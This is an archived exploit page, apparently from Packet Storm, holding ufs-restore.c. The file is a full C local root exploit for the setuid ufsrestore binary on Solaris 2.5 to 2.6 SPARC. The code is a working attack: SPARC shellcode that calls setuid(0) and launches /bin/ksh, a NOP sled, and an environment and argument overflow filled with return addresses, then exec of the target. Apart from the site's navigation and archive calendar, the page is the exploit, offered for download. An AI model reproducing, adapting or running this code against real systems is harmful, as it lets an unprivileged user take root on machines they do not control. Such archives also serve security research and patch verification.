what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ufs-restore.c

ufs-restore.c
Posted Sep 7, 2000
Site lsd-pl.net

/usr/lib/fs/ufs/ufsrestore local root exploit for solaris 2.5 2.5.1 2.6 sparc.

tags | exploit, local, root
systems | solaris
SHA-256 | 80467df9fca55b2f287adf6301e0f2398b11ef06b61616b6dc7f7caa4a2c78f0

ufs-restore.c

Change Mirror Download
/*## copyright LAST STAGE OF DELIRIUM dec 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/fs/ufs/ufsrestore #*/

#define NOPNUM 5000
#define ADRNUM 400
#define ALLIGN 2

char setuidcode[]=
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[2];
int i;

printf("copyright LAST STAGE OF DELIRIUM dec 1997 poland //lsd-pl.net/\n");
printf("/usr/lib/fs/ufs/ufsrestore for solaris 2.5 2.5.1 2.6 sparc\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+6000+2000;

envp[0]=&buffer[0];
envp[1]=0;

b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

b=&buffer[6000];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;

execle("/usr/lib/fs/ufs/ufsrestore",&buffer[6000],"if","-",0,envp);
}
/* www.hack.co.za [4 August 2000]*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close